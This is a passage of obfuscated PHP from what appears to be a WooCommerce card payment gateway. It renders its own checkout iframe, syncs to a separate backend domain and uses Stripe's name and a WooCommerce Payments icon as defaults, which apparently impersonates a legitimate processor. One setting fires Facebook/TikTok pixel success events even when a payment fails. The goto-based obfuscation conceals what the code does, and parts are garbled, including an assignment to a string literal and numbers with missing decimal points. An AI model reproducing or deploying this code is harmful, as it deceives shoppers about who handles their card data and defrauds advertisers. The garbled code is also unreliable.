"get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->declined_text=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_discount';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_discount=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='discount_percentage';$U2yzA8H[]=10;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=floatval($U2yhCvP8G);$this->discount_percentage=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='discount_label';$U2yzA8I[]='Payment Method Discount';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->discount_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_tip';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_tip=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='tip_label';$U2yzA8I[]='Add tip';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->tip_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_tip_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_tip_type=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_cod_deposit';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_cod_deposit=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_type=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_value';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_value=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc1';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc1=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc2';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc2=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc3';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc3=$U2ytI8G;$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function init_form_fields(){$U2yBuEt86=array();$U2yBuEt86[]=17;$U2yBuEt86[]=4;$U2yBuEt86[]=16;$U2yBuEt86[]=11;$U2yBuEt86[]=20;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='Credit or debit card (10% off)';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='All transactions are secure and encrypted.';$U2yzAvP8J=array();$U2yzAvP8J['title']='3D verified domain';$U2yzAvP8J['type']='text';$U2yzAvP8J['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8K=array();$U2yzAvP8K['title']='Icon';$U2yzAvP8K['type']='text';$U2yzAvP8K['description']='*结账页面Logo(Checkout interface logo.)';$U2yzAvP8K['default']='https://woocommercecom/wp-content/plugins/woocommerce-payments/assets/images/payment-methods/ccsvg';$U2yzA8M=array();$U2yzA8M[]='经典支付界面';$U2yzA8M[]='1';$U2yeFvPvPvP8L=call_user_func_array("__",$U2yzA8M);unset($U2yzA8M);$U2yzA8O=array();$U2yzA8O[]='CheckoutWC界面';$U2yzA8O[]='2';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzAvPvP8P=array();$U2yzAvPvP8P['1']=$U2yeFvPvPvP8L;$U2yzAvPvP8P['2']=$U2yeFvPvPvP8N;$U2yzAvP8Q=array();$U2yzAvP8Q['title']='支付界面类型';$U2yzAvP8Q['type']='select';$U2yzAvP8Q['description']='请选择你当前主题的支付界面,用来兼容COD和打赏插件';$U2yzAvP8Q['options']=$U2yzAvPvP8P;$U2yzAvP8Q['default']='1';$U2yzAvP8R=array();$U2yzAvP8R['title']='启用货到付款预扣款(Enable COD Deposit)';$U2yzAvP8R['type']='checkbox';$U2yzAvP8R['label']='开启/关闭(Enable/Disable)';$U2yzAvP8R['description']='勾选后,选择货到付款时将收取预扣款(If enabled, a deposit will be charged when user selects Cash on Delivery.)';$U2yzAvP8R['default']='no';$U2yzAvPvP8S=array();$U2yzAvPvP8S['percent']='百分比(Percentage)';$U2yzAvPvP8S['fixed']='固定金额(Fixed Amount)';$U2yzAvP8T=array();$U2yzAvP8T['title']='预扣款类型(Deposit Type)';$U2yzAvP8T['type']='select';$U2yzAvP8T['options']=$U2yzAvPvP8S;$U2yzAvP8T['description']='选择预扣款为订单金额百分比或固定金额(Choose percentage or fixed amount)';$U2yzAvP8T['default']='percent';$U2yzAvPvP8U=array();$U2yzAvPvP8U['min']='0';$U2yzAvPvP8U['step']='001';$U2yzAvP8V=array();$U2yzAvP8V['title']='预扣款金额(Deposit Value)';$U2yzAvP8V['type']='number';$U2yzAvP8V['description']='如果选择百分比,请输入数字(如10代表10%);如选择固定金额,输入金额(如50代表50元)(If percentage, enter a number, eg., 10 for 10%. If fixed, enter the amount, eg., 50 for 50 yuan.)';$U2yzAvP8V['default']='10';$U2yzAvP8V['custom_attributes']=$U2yzAvPvP8U;$U2yzAvP8W=array();$U2yzAvP8W['title']='预扣款名称(Deposit Label)';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='显示在订单费用明细里的名称,如“货到付款定金”(Name shown in order fees, eg., "COD Deposit")';$U2yzAvP8W['default']='货到付款定金(COD Deposit)';$U2yzAvP8X=array();$U2yzAvP8X['title']='预扣款描述';$U2yzAvP8X['type']='textarea';$U2yzAvP8X['description']='显示在结算页货到付款定金区域,可用 {deposit_percent}、{deposit_amount}、{currency_symbol} 占位符。';$U2yzAvP8X['default']='下单需预付订单金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='定金标签';$U2yzAvP8Y['type']='text';$U2yzAvP8Y['description']='定金标签名字,比如:需支付定金/Deposit (pay now)';$U2yzAvP8Y['default']='Deposit (pay now)';$U2yzAvP8Z=array();$U2yzAvP8Z['title']='尾款标签';$U2yzAvP8Z['type']='text';$U2yzAvP8Z['description']='尾款标签名字,比如:货到付款尾款/Balance (on delivery)';$U2yzAvP8Z['default']='Balance (on delivery)';$U2yzAvP90=array();$U2yzAvP90['title']='Enable Payment Discount';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='启用支付方式折扣(Enable discount for this payment method)';$U2yzAvP90['default']='yes';$U2yzAvPvP91=array();$U2yzAvPvP91['min']='0';$U2yzAvPvP91['max']='100';$U2yzAvPvP91['step']='001';$U2yzAvP92=array();$U2yzAvP92['title']='Discount Percentage (%)';$U2yzAvP92['type']='number';$U2yzAvP92['description']='折扣百分比,例如输入10表示10%折扣(Discount percentage, eg., enter 10 for 10% discount)';$U2yzAvP92['default']='10';$U2yzAvP92['custom_attributes']=$U2yzAvPvP91;$U2yzAvP93=array();$U2yzAvP93['title']='Discount Label';$U2yzAvP93['type']='text';$U2yzAvP93['description']='折扣显示标签(Label displayed for the discount)';$U2yzAvP93['default']='Payment Method Discount';$U2yzAvP94=array();$U2yzAvP94['title']='Enable Tip';$U2yzAvP94['label']='Enable/Disable';$U2yzAvP94['type']='checkbox';$U2yzAvP94['description']='启用打赏功能(Enable tip/donation on checkout page)';$U2yzAvP94['default']='no';$U2yzAvP95=array();$U2yzAvP95['title']='Tip Label';$U2yzAvP95['type']='text';$U2yzAvP95['description']='打赏显示标签(Label displayed for the tip)';$U2yzAvP95['default']='Add tip';$U2yzAvP96=array();$U2yzAvP96['title']='Order prefix';$U2yzAvP96['type']='text';$U2yzAvP96['description']='*同步后台用来区分站点订单,不同站点请用不一样的前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP96['default']='A';$U2yzAvP97=array();$U2yzAvP97['title']='Store name';$U2yzAvP97['type']='text';$U2yzAvP97['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP97['default']='Stripe';$U2yzAvP98=array();$U2yzAvP98['title']='Payment error message';$U2yzAvP98['type']='textarea';$U2yzAvP98['description']='*支付错误提示(Payment error message.)';$U2yzAvP98['default']="Sorry, your card does not support this payment, please try another card or change your payment method.";$U2yzAvP99=array();$U2yzAvP99['title']='3ds close button';$U2yzAvP99['label']='Enable/Disable';$U2yzAvP99['type']='checkbox';$U2yzAvP99['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP99['default']='no';$U2yzAvP9A=array();$U2yzAvP9A['title']='Facebook/TikTok payment success';$U2yzAvP9A['label']='Enable/Disable';$U2yzAvP9A['type']='checkbox';$U2yzAvP9A['description']='点击支付时,FB/TK像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to success.)';$U2yzAvP9A['default']='no';$U2yzA9B=array();$U2yzA9B['title']=$U2yzAvP8H;$U2yzA9B['description']=$U2yzAvP8I;$U2yzA9B['domain']=$U2yzAvP8J;$U2yzA9B['icon']=$U2yzAvP8K;$U2yzA9B['cod_tip_type']=$U2yzAvP8Q;$U2yzA9B['enable_cod_deposit']=$U2yzAvP8R;$U2yzA9B['cod_deposit_type']=$U2yzAvP8T;$U2yzA9B['cod_deposit_value']=$U2yzAvP8V;$U2yzA9B['cod_deposit_label']=$U2yzAvP8W;$U2yzA9B['cod_deposit_label_desc1']=$U2yzAvP8X;$U2yzA9B['cod_deposit_label_desc2']=$U2yzAvP8Y;$U2yzA9B['cod_deposit_label_desc3']=$U2yzAvP8Z;$U2yzA9B['enable_discount']=$U2yzAvP90;$U2yzA9B['discount_percentage']=$U2yzAvP92;$U2yzA9B['discount_label']=$U2yzAvP93;$U2yzA9B['enable_tip']=$U2yzAvP94;$U2yzA9B['tip_label']=$U2yzAvP95;$U2yzA9B['prefix']=$U2yzAvP96;$U2yzA9B['store_name']=$U2yzAvP97;$U2yzA9B['error_text']=$U2yzAvP98;$U2yzA9B['show_close']=$U2yzAvP99;$U2yzA9B['fbq_check']=$U2yzAvP9A;unset($U2ytI8G);$U2ytI8G=$U2yzA9B;$this->form_fields=$U2ytI8G;}public function payment_fields(){$U2yBuEt87=array();$U2yBuEt87[]=6;$U2yBuEt87[]=19;$U2yBuEt87[]=15;$U2yBuEt87[]=7;$U2yBuEt87[]=13;$U2yOiRy98=6870;if($this->description)goto U2yeWjgx5t;goto U2yldMhx5t;U2yeWjgx5t:$U2yOiRy98="y"*"a";goto U2yx5s;U2yldMhx5t:U2yx5s:$U2y8G=2*17;$U2y8H=$U2y8G+44;$U2y8I=$U2yOiRy98==$U2y8H;if($U2y8I)goto U2yeWjgx5v;goto U2yldMhx5v;U2yeWjgx5v:echo wpautop(wp_kses_post($this->description));goto U2yx5u;U2yldMhx5v:U2yx5u:echo '<fieldset id="payment-gateway-form" class="notranslate" style="background:transparent;" translate="no">';$U2yzA8H=array();$U2yzA8H[]='/wp-content/plugins/stripe-gateway/assets/indexhtml';$U2yeF8G=call_user_func_array("network_site_url",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$iframe_url=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$iframe_url;$U2yeF8G=call_user_func_array("esc_url",$U2yzA8H);unset($U2yzA8H);$U2y8G='<iframe id="payment-gateway-iframe" src="' . $U2yeF8G;$U2y8H=$U2y8G . '"
frameborder="0" allowtransparency="true" scrolling="no" role="presentation"
allow="payment *; publickey-credentials-get *"
title="3dSecure payment"
style="border: 0px !important; margin: -4px; padding: 0px !important; width: calc(100% + 8px); min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; transform: translate(0px) !important; color-scheme: light only !important; opacity: 1; height: 211px; transition: height 035s ease 0s, opacity 04s ease 01s;"
></iframe>';echo $U2y8H;echo '</fieldset>';}public function validate_fields(){$U2yBuEt88=array();$U2yBuEt88[]=4;$U2yBuEt88[]=13;$U2yBuEt88[]=19;$U2yBuEt88[]=10;$U2yBuEt88[]=2;return true;}public function getIpAddress(){$U2yBuEt89=array();$U2yBuEt89[]=14;$U2yBuEt89[]=16;$U2yBuEt89[]=17;$U2yBuEt89[]=2;$U2yBuEt89[]=10;$U2yOiRy100=4913;if(class_exists('WC_Geolocation'))goto U2yeWjgx5x;goto U2yldMhx5x;U2yeWjgx5x:$U2yOiRy100="r"*"a";goto U2yx5w;U2yldMhx5x:$U2yOiRy100="r"*"r";U2yx5w:$U2y8G=14*13;$U2y8H=$U2y8G+42;$U2y8I=$U2yOiRy100==$U2y8H;if($U2y8I)goto U2yeWjgx6z;goto U2yldMhx6z;U2yeWjgx6z:unset($U2ytI8G);$U2ytI8G=WC_Geolocation::get_ip_address();$ip_address=$U2ytI8G;goto U2yx5y;U2yldMhx6z:$U2y8G=19*5;$U2y8H=$U2y8G+194;$U2y8I=$U2yOiRy100==$U2y8H;if($U2y8I)goto U2yeWjgx61;goto U2yldMhx61;U2yeWjgx61:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$ip_address=$U2ytI8G;goto U2yx5y;U2yldMhx61:U2yx5y:return $ip_address;}private function getFallbackIp(){$U2yBuEt90=array();$U2yBuEt90[]=8;$U2yBuEt90[]=12;$U2yBuEt90[]=15;$U2yBuEt90[]=14;$U2yBuEt90[]=12;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$headers=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach($headers as $header){$U2yEc1[]=$header;};$U2y1i=0;U2yx6i:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;$U2yOiRy125=3391;if($U2y8G)goto U2yeWjgx6w;goto U2yldMhx6w;U2yeWjgx6w:$U2yOiRy125="r"*"r";goto U2yx6v;U2yldMhx6w:U2yx6v:$U2y8G=12*14;$U2y8H=$U2y8G+12;$U2y8I=$U2yOiRy125==$U2y8H;if($U2y8I)goto U2yeWjgx79;goto U2yldMhx79;U2yeWjgx79:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset($U2ytI8G);$U2ytI8G=$U2yEc1[$U2y1Key];$header=$U2ytI8G;$U2yOiRy108=3382;$U2y8G=!empty($_SERVER[$header]);$U2yOiRy109=3381;if($U2y8G)goto U2yeWjgx7b;goto U2yldMhx7b;U2yeWjgx7b:goto U2yeWjgx6y;goto U2yx7a;U2yldMhx7b:U2yx7a:goto U2yldMhx6y;U2yeWjgx6y:goto U2yeWjgx6m;goto U2yx6x;U2yldMhx6y:U2yx6x:goto U2yldMhx6m;U2yeWjgx6m:goto U2yeWjgx63;goto U2yx6l;U2yldMhx6m:U2yx6l:goto U2yldMhx63;U2yeWjgx63:$U2yOiRy108="a"*"a";goto U2yx62;U2yldMhx63:U2yx62:$U2y8G=13*10;$U2y8H=$U2y8G+66;$U2y8I=$U2yOiRy108==$U2y8H;$U2yOiRy110=3380;if($U2y8I)goto U2yeWjgx7d;goto U2yldMhx7d;U2yeWjgx7d:goto U2yeWjgx71;goto U2yx7c;U2yldMhx7d:U2yx7c:goto U2yldMhx71;U2yeWjgx71:goto U2yeWjgx6o;goto U2yx7z;U2yldMhx71:U2yx7z:goto U2yldMhx6o;U2yeWjgx6o:goto U2yeWjgx6b;goto U2yx6n;U2yldMhx6o:U2yx6n:goto U2yldMhx6b;U2yeWjgx6b:unset($U2ytI8G);$U2ytI8G=$_SERVER[$header];$ip=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G!==false;$U2yOiRy111=3382;if($U2y8G)goto U2yeWjgx7f;goto U2yldMhx7f;U2yeWjgx7f:goto U2yeWjgx73;goto U2yx7e;U2yldMhx7f:U2yx7e:goto U2yldMhx73;U2yeWjgx73:goto U2yeWjgx6q;goto U2yx72;U2yldMhx73:U2yx72:goto U2yldMhx6q;U2yeWjgx6q:goto U2yeWjgx6d;goto U2yx6p;U2yldMhx6q:U2yx6p:goto U2yldMhx6d;U2yeWjgx6d:goto U2yeWjgx65;goto U2yx6c;U2yldMhx6d:U2yx6c:goto U2yldMhx65;U2yeWjgx65:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&$ip;$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip_list=$U2ytI8G;$U2yzA8K=array();$U2yzA8K[]=$ip_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy112=3385;if($U2yeF8J)goto U2yeWjgx7h;goto U2yldMhx7h;U2yeWjgx7h:goto U2yeWjgx75;goto U2yx7g;U2yldMhx7h:U2yx7g:goto U2yldMhx75;U2yeWjgx75:goto U2yeWjgx6s;goto U2yx74;U2yldMhx75:U2yx74:goto U2yldMhx6s;U2yeWjgx6s:goto U2yeWjgx6f;goto U2yx6r;U2yldMhx6s:U2yx6r:goto U2yldMhx6f;U2yeWjgx6f:goto U2yeWjgx67;goto U2yx6e;U2yldMhx6f:U2yx6e:goto U2yldMhx67;U2yeWjgx67:$U2ycV8H=&"a";goto U2yx66;U2yldMhx67:$U2ycV8H="a";U2yx66:$U2yzA8I=array();$U2yzA8I[]=&$U2ycV8H;$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset($U2ycV8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip=$U2ytI8G;goto U2yx64;U2yldMhx65:U2yx64:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy113=3380;if($U2yeF8G)goto U2yeWjgx7j;goto U2yldMhx7j;U2yeWjgx7j:goto U2yeWjgx77;goto U2yx7i;U2yldMhx7j:U2yx7i:goto U2yldMhx77;U2yeWjgx77:goto U2yeWjgx6u;goto U2yx76;U2yldMhx77:U2yx76:goto U2yldMhx6u;U2yeWjgx6u:goto U2yeWjgx6h;goto U2yx6t;U2yldMhx6u:U2yx6t:goto U2yldMhx6h;U2yeWjgx6h:goto U2yeWjgx69;goto U2yx6g;U2yldMhx6h:U2yx6g:goto U2yldMhx69;U2yeWjgx69:return $ip;goto U2yx68;U2yldMhx69:U2yx68:goto U2yx6a;U2yldMhx6b:U2yx6a:U2yx6j:$U2y1i=$U2y1i+1;goto U2yx6i;goto U2yx78;U2yldMhx79:U2yx78:U2yx6k:return '0000';}private function obscureEmail($email){$U2yBuEt91=array();$U2yBuEt91[]=10;$U2yBuEt91[]=9;$U2yBuEt91[]=2;$U2yBuEt91[]=16;$U2yBuEt91[]=3;return preg_replace_callback('/^(.)(.+?)(?=@)/',function($matches){$U2yBuEt92=array();$U2yBuEt92[]=20;$U2yBuEt92[]=19;$U2yBuEt92[]=8;$U2yBuEt92[]=15;$U2yBuEt92[]=11;$U2y8G="r***';return $U2y8G;},$email);}private function getUuid(){$U2yBuEt93=array();$U2yBuEt93[]=12;$U2yBuEt93[]=6;$U2yBuEt93[]=18;$U2yBuEt93[]=15;$U2yBuEt93[]=17;$U2yzA8H=array();$U2yzA8H[]=16;$U2yeF8G=call_user_func_array("random_bytes",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$data=$U2ytI8G;$U2yOiRy127=5840;$U2yzA8K=array();$U2yzA8K[]=$data;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx7l;goto U2yldMhx7l;U2yeWjgx7l:$U2yOiRy127="y"*"a";goto U2yx7k;U2yldMhx7l:$U2yOiRy127="a"*"r";U2yx7k:$U2y8I=15*19;$U2y8J=$U2y8I-81;$U2y8K=$U2yOiRy127==$U2y8J;if($U2y8K)goto U2yeWjgx7n;goto U2yldMhx7n;U2yeWjgx7n:$U2ycVvP8H=&")";goto U2yx7m;U2yldMhx7n:$U2y8L=11*7;$U2y8M=$U2y8L+13;$U2y8N=$U2yOiRy127==$U2y8M;if($U2y8N)goto U2yeWjgx7o;goto U2yldMhx7o;U2yeWjgx7o:$U2ycVvP8H=")";goto U2yx7m;U2yldMhx7o:U2yx7m:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("ord",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yvP8G=$U2yeFvP8G&0x0f;$U2yvP8H=$U2yvP8G|0x40;$U2yzA8M=array();$U2yzA8M[]=&$U2yvP8H;$U2yeF8L=call_user_func_array("chr",$U2yzA8M);unset($U2yzA8M);unset($U2ytI8O);$U2ytI8O=$U2yeF8L;")"=$U2ytI8O;$U2yOiRy129=5839;$U2yzA8K=array();$U2yzA8K[]=$data;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx7q;goto U2yldMhx7q;U2yeWjgx7q:$U2yOiRy129="a"*"r";goto U2yx7p;U2yldMhx7q:$U2yOiRy129="a"*"a";U2yx7p:$U2y8I=12*6;$U2y8J=$U2y8I+108;$U2y8K=$U2yOiRy129==$U2y8J;if($U2y8K)goto U2yeWjgx7s;goto U2yldMhx7s;U2yeWjgx7s:$U2ycVvP8H=$data[8];goto U2yx7r;U2yldMhx7s:$U2y8L=6*15;$U2y8M=$U2y8L-0;$U2y8N=$U2yOiRy129==$U2y8M;if($U2y8N)goto U2yeWjgx7t;goto U2yldMhx7t;U2yeWjgx7t:$U2ycVvP8H=&$data[8];goto U2yx7r;U2yldMhx7t:U2yx7r:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("ord",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yvP8G=$U2yeFvP8G&0x3f;$U2yvP8H=$U2yvP8G|0x80;$U2yzA8M=array();$U2yzA8M[]=&$U2yvP8H;$U2yeF8L=call_user_func_array("chr",$U2yzA8M);unset($U2yzA8M);unset($U2ytI8O);$U2ytI8O=$U2yeF8L;$data[8]=$U2ytI8O;$U2yzA8H=array();$U2yzA8H[]=&$data;$U2yzA8H[]=0;$U2yzA8H[]=4;$U2yeFvPvP8G=call_user_func_array("substr",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("bin2hex",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]=&$data;$U2yzA8L[]=4;$U2yzA8L[]=2;$U2yeFvPvP8K=call_user_func_array("substr",$U2yzA8L);unset($U2yzA8L);$U2yzA8N=array();$U2yzA8N[]=&$U2yeFvPvP8K;$U2yeFvP8M=call_user_func_array("bin2hex",$U2yzA8N);unset($U2yzA8N);$U2yzA8P=array();$U2yzA8P[]=&$data;$U2yzA8P[]=6;$U2yzA8P[]=2;$U2yeFvPvP8O=call_user_func_array("substr",$U2yzA8P);unset($U2yzA8P);$U2yzA8R=array();$U2yzA8R[]=&$U2yeFvPvP8O;$U2yeFvP8Q=call_user_func_array("bin2hex",$U2yzA8R);unset($U2yzA8R);$U2yzA8T=array();$U2yzA8T[]=&$data;$U2yzA8T[]=8;$U2yzA8T[]=2;$U2yeFvPvP8S=call_user_func_array("substr",$U2yzA8T);unset($U2yzA8T);$U2yzA8V=array();$U2yzA8V[]=&$U2yeFvPvP8S;$U2yeFvP8U=call_user_func_array("bin2hex",$U2yzA8V);unset($U2yzA8V);$U2yzA8X=array();$U2yzA8X[]=&$data;$U2yzA8X[]=10;$U2yzA8X[]=6;$U2yeFvPvP8W=call_user_func_array("substr",$U2yzA8X);unset($U2yzA8X);$U2yzA8Z=array();$U2yzA8Z[]=&$U2yeFvPvP8W;$U2yeFvP8Y=call_user_func_array("bin2hex",$U2yzA8Z);unset($U2yzA8Z);$U2yzA91=array();$U2yzA91[]='%s-%s-%s-%s-%s';$U2yzA91[]=&$U2yeFvP8I;$U2yzA91[]=&$U2yeFvP8M;$U2yzA91[]=&$U2yeFvP8Q;$U2yzA91[]=&$U2yeFvP8U;$U2yzA91[]=&$U2yeFvP8Y;$U2yeF90=call_user_func_array("sprintf",$U2yzA91);unset($U2yzA91);return $U2yeF90;}private function getDomainWithProtocol($url){$U2yBuEt94=array();$U2yBuEt94[]=11;$U2yBuEt94[]=19;$U2yBuEt94[]=16;$U2yBuEt94[]=6;$U2yBuEt94[]=6;$U2yzA8H=array();$U2yzA8H[]=&$url;$U2yeF8G=call_user_func_array("parse_url",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$parsedUrl=$U2ytI8G;$U2yOiRy132=6877;$U2y8G=(bool)isset($parsedUrl['scheme']);if($U2y8G)goto U2yeWjgx7w;goto U2yldMhx7w;U2yeWjgx7w:$U2y8G=(bool)isset($parsedUrl['host']);goto U2yx7v;U2yldMhx7w:U2yx7v:if($U2y8G)goto U2yeWjgx7x;goto 